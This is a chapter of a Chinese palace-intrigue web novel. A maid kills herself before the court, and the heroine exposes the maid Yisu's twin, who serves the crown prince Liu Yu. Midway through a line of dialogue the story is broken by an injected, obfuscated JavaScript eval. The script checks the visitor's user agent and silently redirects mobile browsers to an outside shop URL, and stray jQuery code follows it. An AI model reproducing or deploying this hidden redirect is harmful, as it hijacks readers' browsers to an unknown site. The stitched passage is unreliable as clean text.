魏承情心中惊愕,上前正要拉住吟玉的手,却差了分毫,只碰到了衣袖的一角,却没来得及抓稳。

    吟玉朝着众人前进,眼中似乎又失了智,朝着众人跑去。

    叶桑水还在观望中,却被叶扬天紧紧护在怀里。

    吟玉跑向众人,却在靠近了刘钰时,抬起了手,叶桑水抬头看,见她手里银光一闪,正拿着一把匕首。

    那匕首以玄色为主,花纹为白金蛇,显然是羽林卫的配刀。

    其中一名侍卫正要上前阻止,此时却惊慌地摸向腰间,惊觉配刀不知何时竟被吟玉拿了。

    另一名侍卫急速跟上,抱着吟玉的腰便扑了上去。

    吟玉被扑倒在地,手中的刀狠狠扎进了地里,顺着那双有力的手抬头看,是一双黑靴。

    而黑靴的主人,正是跌坐在地的刘钰。

    匕首直指刘钰颤抖的两脚之间,扎得他双目发愣。

    吟玉见被人拦了下来,喊叫了几句,没等人听清她说了什么,下一刻又抬起了刀,像一只临死前苦苦挣扎的鸡,伸长自己的脖子,手腕下转,登时刺入自己满是伤痕的脖颈。

    刀刃已经全部没入吟玉的身体里,只有带着花纹的、厚重的刀柄架在地面上。

    鲜血全部落在了跌坐在地的刘钰的下摆上,吟玉面目狰狞,死不瞑目,侧头抬眼死死盯着刘钰。

    魏承情在旁边也沾到了些许,他又差一点阻止。

    众人心中都还在突然的事故中惊魂未定,叶桑水便拍了拍叶扬天的袖子,沉了下气。

    叶桑水心中一沉。

    没想到,竟还是死了。

    殿内并非没有侍卫,反而很多,只是吟玉的动作太快,等大家反应过来时,吟玉已经咽了气。

    魏承情蹲在吟玉旁边,还试图去摸她脉搏,可最后的结果,只能化作一声叹气。

    “陛下,她……死了。”

    魏承情禀报道。

    徐义也上前,在刘秀政耳边耳语了几句,刘秀政便从屏风后走了出来。

    徐义一个眼神,众人便上前,撤走了吟玉的尸体,只留下了满地的鲜血,和一旁的刘钰,还沉浸在方才的情形中,没回过神。

    “太子。

    “太子。

    “刘钰!”

    刘钰终于回过神,如今他满头大汗,没有起来,只是翻了个身,跪趴在地上:

    “是……父皇……”

    刘秀政面色青黑:“给我一个解释。”

    刘钰闻言,挪上前,抓着刘秀政的下摆:“儿臣没有,儿臣没有啊!”

    刘秀政扬起下巴,坐在方才搬来的龙椅上,眼神森寒。

    刘钰听见上面没了动静,又开口道:“儿臣……是,儿臣曾经是调戏过她,但儿臣真的没有做过出格的事情啊!定是曾经的事,让她怀恨在心,但她疯了的事情,真的同儿臣无关啊!父皇明鉴!”

    叶扬天终于开口:“陛下,皇后娘娘身边意苏,那宫女似乎也识得。”

    刘秀政立马抬眼,将目光投射在意苏身上,意苏仓皇跪地,回答道:

    “奴婢不知啊……奴婢与她或许有几面之缘,可我并不认得她啊!陛下明鉴!”

    叶桑水冷眼看着床下的众人,又抬头看着已经站起来的叶扬天。

    叶扬天这是在帮刘钰转移矛头?

    她看不明白,她也下床行礼,开口:“陛下,崇宁有一点,此前忘了说。”

    众人齐刷刷看过来,魏承情也低头看向叶桑水,眼神不明。

    “那引崇宁去偏殿的婢女,虽长着意苏的脸,可却并非意苏。”

    虞皇后低头看了叶桑水一眼:“此话何意?难不成,她会分身不成?”

    叶桑水抬头,对上虞皇后的眼神。

    叶桑水此时面带微笑,可眼底却深深藏着一股杀意,连虞皇后看了都是一愣。

    曾经她怎么也想不明白,她的确见到了意苏,可皇后以及其他下人却能为意苏作证,一天都待在皇后身边。

    难不成,所有人都在扯谎?

    难不成,她见到的那个婢女是假的?

    她都不信。

    不信皇后废了诸多周章,只为了杀死她一个什么实权都没有的郡主。

    也不信刘钰为了害她,竟还能找到有如此厉害的易容手法之人。

    那可太看得起她了。

    所以前世,她就败在此处。

    在皇后的质问中,她停顿了片刻,须臾,她抬头看向意苏,倏然一笑:“娘娘猜的不错,此前崇宁所见的,正是她的分身,换句话来说……”

    刘秀政和虞皇后的眉头紧拧,叶扬天跪在地上,身子紧绷起来。

    前头的刘钰回头看她,眼神透露出紧张,叶桑水扯出一个温婉的笑,开口:

    “是她的孪生姐妹。”

    意苏贴在地面上,没人知道她在想什么,皇后语气凛冽:

    “意苏,真有此事?”

    意苏佯装镇定:“娘娘,并无此事,还请郡主殿下莫要拿奴婢寻开心了,奴婢家中仅奴婢一子,进宫中当差,自有案籍可查,还望殿下不要血口喷人。”

    虞皇后凤眼微阖,又看向叶桑水:

    “崇宁,你可有实证?”

    叶桑水的声音大了一些:“因为那位小娘子身上的香囊,和意苏的并不一样,同一天内,意苏小娘子为什么要换两个香囊?”

    意苏冷哼一声:“奴婢喜欢便换了,这有何不妥?”

    “是吗?”叶桑水轻笑了一声,“你不是一天都在娘娘身边吗?如何换?”

    意苏抿了抿唇:“只是身上带了两个,一个藏在暗处,一个挂在腰间,这也不行吗?”

    她抬起头看向叶桑水,却正巧对上叶桑水那双似笑非笑的眼睛:

    “你这么说,将皇后娘娘安危置于何处?”

    意苏眼神眯起:“殿下此话何意?”

    叶桑水依旧面色温柔,可口中吐出的话却让人感觉脊背生寒:

    “那女子身上佩戴的可是麝香香囊,你长久将麝香香囊带在身边,算下来,说你毒害皇后娘娘都算是轻的!”

    在场的人眼神纷纷闪过一道异样的光芒,看向地上的意苏。

    众人皆知,麝香香囊长久带在身边,会致使女子从此不孕。

    作为香料,很少会在宫中出现。

    基本都是那些达官显贵养的侍婢所佩戴的。

    意苏面色骤然苍白,她的身子也颤抖起来:

    “奴婢……是奴婢无知,奴婢不知道……”

    刘秀政坐在其上,现帝王之怒,眼神颇寒,身旁的徐义见状,向前一步,尖声厉道:

    “还敢嘴硬!

    “还不快从实招来!不然,你如此诓骗娘娘和陛下,定是九族难保!”

    意苏肩头颤抖,再抬起头,已经憋出了泪:

    “奴婢罪该万死,奴婢是有一个……双生

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920496|213446||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    子妹妹……”

    皇后大怒,指着意苏便颤抖道:

    “意苏,你可知双生子不可入宫当差?你跟了本宫这么久,竟从一入宫便在骗本宫!”

    “如今她人在何处?还不快从实招来!”徐义道。

    意苏目光闪躲,扫了一圈,终于落在紧张的太子身上:

    “奴婢……奴婢……”

    “来人!”刘秀政见意苏不招,便喊了两个侍卫上前来,“把她带下去,严刑拷打!”

    意苏突然软了下来,被两个侍卫架起,却完全没有开口的意思。

    叶桑水见此番场景,拱手:“陛下,崇宁斗胆请陛下和娘娘彻查东宫!”

    此话一出,意苏拼命挣脱开束缚,慌忙跪地,伏身不起。

    刘钰回过神来,恨恨的目光向叶桑水投来:

    “你敢!”

    “她有何不敢!”刘秀政冷冷垂眸。

    刘钰听见刘秀政的声音,脸上血色再无,仓皇地趴在地上。

    “来人,去派人大搜东宫,务必要将婢女带回来!”

    魏承情突然开口接道:

    “微臣愿为陛下效一份力,彻查东宫。”

    刘秀政思忖了片刻,终于松口:

    “好,定要搜的仔细,哪一处都不能放过!”

    皇后娘娘此时面露难色。

    魏承情这就下去了,叶桑水再看向叶扬天时,便见其凝眉,看着叶桑水,紧紧攥着朝服的衣角,很是紧张。

    叶桑水微微颔首,示意他放心。

    前世,这件事情以叶桑水惨败收场。

    虽然她表面上静若无波,但暗中,却思索了千万种可能性。

    后来,在她派去的人,和自己的观察下,她发现刘钰身边竟然的确跟着一个和意苏一样的宫女。

    前世她当时虽然并未在此前察觉到,但是之后,她仔细观察过了。

    那个将她引至偏殿的婢女,正是此人。因为同意苏不一样的是,她的额头上有一颗痣。

    但是,那时候这件事情已经过去很久,若再旧事重提,恐怕只会惹得龙颜大怒。

    而重来一世,却正巧给了她机会。

    这次,她要当场拆穿刘钰的恶行,并且必须让刘秀政处罚刘钰不可。

    须臾,外头一阵骚动,魏承情又回到这里,身后跟着的两个侍卫,押送着一个婢女。

    叶桑水这才放下心来。

    那婢女哆哆嗦嗦,不敢抬起头来,刘秀政坐在一旁的高座上,眼神示意徐义。

    徐义转身上前,捏起那婢女的下巴,一张和意苏一模一样的脸出现在众人面前。

    刘钰此时慌张极了,胸膛起伏都急速起来,转头再瞪一眼叶桑水,再回头正好撞进了刘秀政一双暴怒的眼中。

    “陛下,微臣进去救下郡主殿下时,殿下正处昏迷,火焰即将蔓延在她脚下,若再晚到一步,殿下恐怕要葬身火海了。”

    魏承情的一番话,又将纵火之事提了出来,任由刘秀政如何想,也绝对要给叶桑水一个交代。

    刘钰闻言,又侧头看来,悄悄地对着魏承情骂了一句脏口。

    叶桑水听见魏承情的一番话,不禁抬起头来,这么一看,才发现魏承情一直在看着她,那双眼,仿佛一阵寒风,似乎钻进了她的脑海中,将她所思所想完整地看了一遍。

    她看着魏承情的神情,勾了勾唇,微微颔首。

    魏承情这算是在帮她?